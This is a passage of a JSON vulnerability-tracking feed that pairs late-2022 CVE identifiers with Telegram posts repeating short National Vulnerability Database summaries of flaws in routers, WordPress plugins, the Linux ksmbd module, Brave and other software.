ksmbd in the Linux kernel before 5.18.18. fs/ksmbd/smb2pdu.c lacks length validation in the non-padding case in smb2_write.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-23T18:14:47.000000Z"}, {"uuid": "395b37ad-a8ed-456a-97be-fa6460b146d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47413", "type": "seen", "source": "https://t.me/cibsecurity/57720", "content": "\u203c CVE-2022-47413 \u203c\n\nGiven a malicious document provided by an attacker, the OpenKM DMS is vulnerable to a stored (persistent, or \"Type II\") XSS condition.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-08T00:24:36.000000Z"}, {"uuid": "494c786d-83e7-4c99-ba07-82d0fb3e94c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47934", "type": "seen", "source": "https://t.me/cibsecurity/55285", "content": "\u203c CVE-2022-47934 \u203c\n\nBrave Browser before 1.43.88 allowed a remote attacker to cause a denial of service in private and guest windows via a crafted HTML file that mentions an ipfs:// or ipns:// URL. This is caused by an incomplete fix for CVE-2022-47932 and CVE-2022-47934.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-25T00:15:32.000000Z"}, {"uuid": "341dd471-e884-4102-b52b-704637e56c64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4762", "type": "seen", "source": "https://t.me/cibsecurity/57579", "content": "\u203c CVE-2022-4762 \u203c\n\nThe Materialis Companion WordPress plugin before 1.3.40 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-06T22:23:31.000000Z"}, {"uuid": "4699f4d8-601e-4185-b3f2-c7c377cb6d0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47071", "type": "seen", "source": "https://t.me/cibsecurity/57568", "content": "\u203c CVE-2022-47071 \u203c\n\nIn NVS365 V01, the background network test function can trigger command execution.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-06T20:23:11.000000Z"}, {"uuid": "db74d1f9-f903-4d5f-a1f4-565ed070e94a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4721", "type": "seen", "source": "https://t.me/cibsecurity/55408", "content": "\u203c CVE-2022-4721 \u203c\n\nFailure to Sanitize Special Elements into a Different Plane (Special Element Injection) in GitHub repository ikus060/rdiffweb prior to 2.5.5.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-27T18:13:27.000000Z"}, {"uuid": "ac6e0da8-1814-4a22-82fc-483c367fde48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47124", "type": "seen", "source": "https://t.me/cibsecurity/55611", "content": "\u203c CVE-2022-47124 \u203c\n\nTenda A15 V15.13.07.13 was discovered to contain a stack overflow via the wepkey4 parameter at /goform/WifiBasicSet.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-31T00:20:45.000000Z"}, {"uuid": "4486482f-2dd6-4ada-a0da-0d23b040688d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47125", "type": "seen", "source": "https://t.me/cibsecurity/55606", "content": "\u203c CVE-2022-47125 \u203c\n\nTenda A15 V15.13.07.13 was discovered to contain a stack overflow via the wrlEn_5g parameter at /goform/WifiBasicSet.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-31T00:20:36.000000Z"}, {"uuid": "6a825244-4325-4e3b-a0d4-2739009fa782", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47115", "type": "seen", "source": "https://t.me/cibsecurity/55598", "content": "\u203c CVE-2022-47115 \u203c\n\nTenda A15 V15.13.07.13 was discovered to contain a stack overflow via the wepauth parameter at /goform/WifiBasicSet.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-31T00:20:26.000000Z"}, {"uuid": "85d3ec66-2ae9-41fe-a4ad-292eb52c6d07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4724", "type": "seen", "source": "https://t.me/cibsecurity/55406", "content": "\u203c CVE-2022-4724 \u203c\n\nImproper Access Control in GitHub repository ikus060/rdiffweb prior to 2.5.5.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-27T18:13:25.000000Z"}, {"uuid": "1efce376-e269-426d-bd24-82760f2deba1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4766", "type": "seen", "source": "https://t.me/cibsecurity/55403", "content": "\u203c CVE-2022-4766 \u203c\n\nA vulnerability was found in dolibarr_project_timesheet up to 4.5.5. It has been declared as problematic. This vulnerability affects unknown code of the component Form Handler. The manipulation leads to cross-site request forgery. The attack can be initiated remotely. Upgrading to version 4.5.6.a is able to address this issue. The name of the patch is 082282e9dab43963e6c8f03cfaddd7921de377f4. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-216880.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-27T16:25:18.000000Z"}, {"uuid": "a2a7c2a4-d5cf-4a7e-9c07-d352328a7882", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4718", "type": "seen", "source": "https://t.me/cibsecurity/56848", "content": "\u203c CVE-2022-4718 \u203c\n\nThe Landing Page Builder WordPress plugin before 1.4.9.9 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-23T18:25:20.000000Z"}, {"uuid": "c03cafad-8a17-4d40-b0d4-9abbed425107", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4797", "type": "seen", "source": "https://t.me/cibsecurity/55487", "content": "\u203c CVE-2022-4797 \u203c\n\nImproper Restriction of Excessive Authentication Attempts in GitHub repository usememos/memos prior to 0.9.1.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-28T16:12:28.000000Z"}, {"uuid": "f7dddfca-2de3-46fa-88ae-0da4d1ef5475", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47943", "type": "seen", "source": "https://t.me/cibsecurity/55263", "content": "\u203c CVE-2022-47943 \u203c\n\nAn issue was discovered in ksmbd in the Linux kernel before 5.19.2. There is an out-of-bounds read and OOPS for SMB2_WRITE, when there is a large length in the zero DataOffset case.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-23T20:14:36.000000Z"}, {"uuid": "cfce6fbf-698b-4219-822b-e09cc19be02f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4798", "type": "seen", "source": "https://t.me/cibsecurity/55489", "content": "\u203c CVE-2022-4798 \u203c\n\nImproper Authorization in GitHub repository usememos/memos prior to 0.9.1.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-28T16:12:30.000000Z"}, {"uuid": "d72f4391-a277-4748-b2b0-9299b428b768", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4799", "type": "seen", "source": "https://t.me/cibsecurity/55495", "content": "\u203c CVE-2022-4799 \u203c\n\nImproper Authentication in GitHub repository usememos/memos prior to 0.9.1.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-28T16:12:39.000000Z"}, {"uuid": "4b4a1046-04cf-4765-80e8-6ea8f62ac62f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4796", "type": "seen", "source": "https://t.me/cibsecurity/55494", "content": "\u203c CVE-2022-4796 \u203c\n\nIncorrect Use of Privileged APIs in GitHub repository usememos/memos prior to 0.9.1.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-28T16:12:38.000000Z"}, {"uuid": "86fd91ec-8348-4e94-a998-4a79da7b575b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4767", "type": "seen", "source": "https://t.me/cibsecurity/55425", "content": "\u203c CVE-2022-4767 \u203c\n\nDenial of Service in GitHub repository usememos/memos prior to 0.9.1.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-27T18:13:47.000000Z"}, {"uuid": "e3f1ce92-a7a0-42cf-9dab-7c30f0bd0d15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47968", "type": "seen", "source": "https://t.me/cibsecurity/55437", "content": "\u203c CVE-2022-47968 \u203c\n\nHeimdall Application Dashboard through 2.5.4 allows reflected XSS via \"Application name\" to the \"Add application\" page.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-27T20:25:38.000000Z"}, {"uuid": "c2532688-f244-4bd1-8214-4a511c694342", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4727", "type": "seen", "source": "https://t.me/cibsecurity/55419", "content": "\u203c CVE-2022-4727 \u203c\n\nA vulnerability, which was classified as problematic, was found in OpenMRS Appointment Scheduling Module up to 1.16.x. This affects the function getNotes of the file api/src/main/java/org/openmrs/module/appointmentscheduling/AppointmentRequest.java of the component Notes Handler. The manipulation of the argument notes leads to cross site scripting. It is possible to initiate the attack remotely. Upgrading to version 1.17.0 is able to address this issue. The name of the patch is 2ccbe39c020809765de41eeb8ee4c70b5ec49cc8. It is recommended to upgrade the affected component. The identifier VDB-216741 was assigned to this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-08T22:28:00.000000Z"}, {"uuid": "03f1d7fd-41ce-46b5-96a7-7a8d2bfdfc6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4733", "type": "seen", "source": "https://t.me/cibsecurity/55417", "content": "\u203c CVE-2022-4733 \u203c\n\nCross-site Scripting (XSS) - Stored in GitHub repository openemr/openemr prior to 7.0.0.2.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-27T18:13:39.000000Z"}, {"uuid": "c57550ca-8039-438d-a44f-850e0ce77ab7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4723", "type": "seen", "source": "https://t.me/cibsecurity/55416", "content": "\u203c CVE-2022-4723 \u203c\n\nAllocation of Resources Without Limits or Throttling in GitHub repository ikus060/rdiffweb prior to 2.5.5.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-27T18:13:38.000000Z"}, {"uuid": "9a136101-bde0-4f9e-a805-874dc94d6291", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4719", "type": "seen", "source": "https://t.me/cibsecurity/55415", "content": "\u203c CVE-2022-4719 \u203c\n\nBusiness Logic Errors in GitHub repository ikus060/rdiffweb prior to 2.5.5.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-27T18:13:37.000000Z"}, {"uuid": "d5bfcd39-379f-4920-ba65-926b2310d09b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4729", "type": "seen", "source": "https://t.me/cibsecurity/55414", "content": "\u203c CVE-2022-4729 \u203c\n\nA vulnerability was found in Graphite Web and classified as problematic. This issue affects some unknown processing of the component Template Name Handler. The manipulation leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The name of the patch is 2f178f490e10efc03cd1d27c72f64ecab224eb23. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-216743.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-27T18:13:36.000000Z"}, {"uuid": "24891e8e-ec7c-4400-afc6-40c64bea6b66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4728", "type": "seen", "source": "https://t.me/cibsecurity/55413", "content": "\u203c CVE-2022-4728 \u203c\n\nA vulnerability has been found in Graphite Web and classified as problematic. This vulnerability affects unknown code of the component Cookie Handler. The manipulation leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The name of the patch is 2f178f490e10efc03cd1d27c72f64ecab224eb23. It is recommended to apply a patch to fix this issue. VDB-216742 is the identifier assigned to this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-27T18:13:35.000000Z"}, {"uuid": "2e890e9d-90f9-49a2-bf35-faab8e504b74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4734", "type": "seen", "source": "https://t.me/cibsecurity/55412", "content": "\u203c CVE-2022-4734 \u203c\n\nExposure of Sensitive Information to an Unauthorized Actor in GitHub repository usememos/memos prior to 0.9.1.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-27T18:13:34.000000Z"}, {"uuid": "5a13b975-ed53-400a-bf7e-49481c227699", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4725", "type": "seen", "source": "https://t.me/cibsecurity/55411", "content": "\u203c CVE-2022-4725 \u203c\n\nA vulnerability was found in AWS SDK 2.59.0. It has been rated as critical. This issue affects the function XpathUtils of the file aws-android-sdk-core/src/main/java/com/amazonaws/util/XpathUtils.java of the component XML Parser. The manipulation leads to server-side request forgery. Upgrading to version 2.59.1 is able to address this issue. The name of the patch is c3e6d69422e1f0c80fe53f2d757b8df97619af2b. It is recommended to upgrade the affected component. The identifier VDB-216737 was assigned to this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-27T18:13:33.000000Z"}, {"uuid": "1a755c42-04d0-4d24-a2e6-9319282328a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4755", "type": "seen", "source": "https://t.me/cibsecurity/55387", "content": "\u203c CVE-2022-4755 \u203c\n\nA vulnerability was found in FlatPress and classified as problematic. This issue affects the function main of the file fp-plugins/mediamanager/panels/panel.mediamanager.file.php of the component Media Manager Plugin. The manipulation of the argument mm-newgallery-name leads to cross site scripting. The attack may be initiated remotely. The name of the patch is d3f329496536dc99f9707f2f295d571d65a496f5. It is recommended to apply a patch to fix this issue. The identifier VDB-216869 was assigned to this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-27T12:24:59.000000Z"}, {"uuid": "0ffc2018-ebe3-4422-9c62-7d40e425af67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47932", "type": "seen", "source": "https://t.me/cibsecurity/55285", "content": "\u203c CVE-2022-47934 \u203c\n\nBrave Browser before 1.43.88 allowed a remote attacker to cause a denial of service in private and guest windows via a crafted HTML file that mentions an ipfs:// or ipns:// URL. This is caused by an incomplete fix for CVE-2022-47932 and CVE-2022-47934.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-25T00:15:32.000000Z"}, {"uuid": "2e36e337-11b2-4d3b-9b09-d30543cdeec6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47697", "type": "seen", "source": "https://t.me/cibsecurity/57228", "content": "\u203c CVE-2022-47697 \u203c\n\nCOMFAST (Shenzhen Sihai Zhonglian Network Technology Co., Ltd) CF-WR623N Router firmware V2.3.0.1 and before is vulnerable to Account takeover. Anyone can reset the password of the admin accounts.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-31T20:38:30.000000Z"}, {"uuid": "ab90c43c-28ec-4a94-9828-59c4f1c48279", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47699", "type": "seen", "source": "https://t.me/cibsecurity/57226", "content": "\u203c CVE-2022-47699 \u203c\n\nCOMFAST (Shenzhen Sihai Zhonglian Network Technology Co., Ltd) CF-WR623N Router firmware V2.3.0.1 is vulnerable to Incorrect Access Control.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-31T20:38:28.000000Z"}, {"uuid": "40294e60-0bfe-42cf-9da3-afb63ec2dfb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47700", "type": "seen", "source": "https://t.me/cibsecurity/57225", "content": "\u203c CVE-2022-47700 \u203c\n\nCOMFAST (Shenzhen Sihai Zhonglian Network Technology Co., Ltd) CF-WR623N Router firmware V2.3.0.1 and before is vulnerable to Incorrect Access Control. Improper authentication allows requests to be made to back-end scripts without a valid session or authentication.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-31T20:38:27.000000Z"}, {"uuid": "27dff0ba-eeef-45cf-9289-d9f2734fe665", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4736", "type": "seen", "source": "https://t.me/cibsecurity/55320", "content": "\u203c CVE-2022-4736 \u203c\n\nA vulnerability was found in Venganzas del Pasado and classified as problematic. Affected by this issue is some unknown functionality. The manipulation of the argument the_title leads to cross site scripting. The attack may be launched remotely. The name of the patch is 62339b2ec445692c710b804bdf07aef4bd247ff7. It is recommended to apply a patch to fix this issue. VDB-216770 is the identifier assigned to this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-25T22:40:25.000000Z"}, {"uuid": "22c35327-2cc9-4fce-931e-088e93f93265", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4740", "type": "seen", "source": "https://t.me/cibsecurity/55319", "content": "\u203c CVE-2022-4740 \u203c\n\nA vulnerability, which was classified as problematic, has been found in kkFileView. Affected by this issue is the function setWatermarkAttribute of the file /picturesPreview. The manipulation leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-216776.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-25T22:40:24.000000Z"}, {"uuid": "8b704b64-c032-4012-953e-d0a07bb302f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4739", "type": "seen", "source": "https://t.me/cibsecurity/55317", "content": "\u203c CVE-2022-4739 \u203c\n\nA vulnerability classified as critical was found in SourceCodester School Dormitory Management System 1.0. Affected by this vulnerability is an unknown functionality of the component Admin Login. The manipulation leads to sql injection. The attack can be launched remotely. The associated identifier of this vulnerability is VDB-216775.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-25T22:40:19.000000Z"}, {"uuid": "9abdd8b5-a14f-45ad-9ba6-4c735b39d6ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4738", "type": "seen", "source": "https://t.me/cibsecurity/55316", "content": "\u203c CVE-2022-4738 \u203c\n\nA vulnerability classified as problematic has been found in SourceCodester Blood Bank Management System 1.0. Affected is an unknown function of the file index.php?page=users of the component User Registration Handler. The manipulation of the argument Name leads to cross site scripting. It is possible to launch the attack remotely. VDB-216774 is the identifier assigned to this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-25T22:40:18.000000Z"}, {"uuid": "418e1f37-ee72-4092-8e15-607c67b0d282", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4741", "type": "seen", "source": "https://t.me/cibsecurity/55312", "content": "\u203c CVE-2022-4741 \u203c\n\nA vulnerability was found in docconv up to 1.2.0 and classified as problematic. This issue affects the function ConvertDocx/ConvertODT/ConvertPages/ConvertXML/XMLToText. The manipulation leads to uncontrolled memory allocation. The attack may be initiated remotely. Upgrading to version 1.2.1 is able to address this issue. The name of the patch is 42bcff666855ab978e67a9041d0cdea552f20301. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-216779.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-25T22:40:14.000000Z"}, {"uuid": "bbdcc57f-e8db-4163-9603-9dd3bb7af093", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4737", "type": "seen", "source": "https://t.me/cibsecurity/55309", "content": "\u203c CVE-2022-4737 \u203c\n\nA vulnerability was found in SourceCodester Blood Bank Management System 1.0. It has been rated as critical. This issue affects some unknown processing of the file login.php. The manipulation of the argument username/password leads to sql injection. The attack may be initiated remotely. The identifier VDB-216773 was assigned to this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-25T22:40:10.000000Z"}, {"uuid": "f6d38bad-3aec-4001-8b05-957d3d70fb09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47932", "type": "seen", "source": "https://t.me/cibsecurity/55286", "content": "\u203c CVE-2022-47932 \u203c\n\nBrave Browser before 1.43.34 allowed a remote attacker to cause a denial of service via a crafted HTML file that mentions an ipfs:// or ipns:// URL. This vulnerability is caused by an incomplete fix for CVE-2022-47933.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-25T00:15:33.000000Z"}, {"uuid": "58ee3403-f19e-4245-8397-36f72159aa5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47933", "type": "seen", "source": "https://t.me/cibsecurity/55286", "content": "\u203c CVE-2022-47932 \u203c\n\nBrave Browser before 1.43.34 allowed a remote attacker to cause a denial of service via a crafted HTML file that mentions an ipfs:// or ipns:// URL. This vulnerability is caused by an incomplete fix for CVE-2022-47933.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-25T00:15:33.000000Z"}, {"uuid": "9bd8ac5b-12df-46cf-a74d-ff5fb004cb0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47949", "type": "seen", "source": "https://t.me/cibsecurity/55287", "content": "\u203c CVE-2022-47949 \u203c\n\nThe Nintendo NetworkBuffer class, as used in Animal Crossing: New Horizons before 2.0.6 and other products, allows remote attackers to execute arbitrary code via a large UDP packet that causes a buffer overflow, aka ENLBufferPwn. The victim must join a game session with the attacker. Other affected products include Mario Kart 7 before 1.2, Mario Kart 8, Mario Kart 8 Deluxe before 2.1.0, ARMS before 5.4.1, Splatoon, Splatoon 2 before 5.5.1, Splatoon 3 before late 2022, Super Mario Maker 2 before 3.0.2, and Nintendo Switch Sports before late 2022.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-25T02:39:22.000000Z"}, {"uuid": "20c31db7-6ac2-4ffd-8f21-46dd70b7d0ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47933", "type": "seen", "source": "https://t.me/cibsecurity/55284", "content": "\u203c CVE-2022-47933 \u203c\n\nBrave Browser before 1.42.51 allowed a remote attacker to cause a denial of service via a crafted HTML file that references the IPFS scheme. This vulnerability is caused by an uncaught exception in the function ipfs::OnBeforeURLRequest_IPFSRedirectWork() in ipfs_redirect_network_delegate_helper.cc.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-25T00:15:31.000000Z"}, {"uuid": "108f64eb-8d24-4da8-820c-fb4477de5f17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47941", "type": "seen", "source": "https://t.me/cibsecurity/55245", "content": "\u203c CVE-2022-47941 \u203c\n\nAn issue was discovered in ksmbd in the Linux kernel before 5.19.2. fs/ksmbd/smb2pdu.c omits a kfree call in certain smb2_handle_negotiate error conditions, aka a memory leak.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-01T12:36:52.000000Z"}, {"uuid": "e48410d0-2d2e-4965-a525-41f8f38a1ac0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47524", "type": "seen", "source": "https://t.me/cibsecurity/55241", "content": "\u203c CVE-2022-47524 \u203c\n\nF-Secure SAFE Browser 19.1 before 19.2 for Android allows an IDN homograph attack.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-23T16:14:25.000000Z"}, {"uuid": "cc2d9841-382c-4509-8c53-c328638ad49a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47633", "type": "seen", "source": "https://t.me/cibsecurity/55270", "content": "\u203c CVE-2022-47633 \u203c\n\nAn image signature validation bypass vulnerability in Kyverno 1.8.3 and 1.8.4 allows a malicious image registry (or a man-in-the-middle attacker) to inject unsigned arbitrary container images into a protected Kubernetes cluster. This is fixed in 1.8.5. This has been fixed in 1.8.5 and mitigations are available for impacted releases.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-24T02:14:46.000000Z"}, {"uuid": 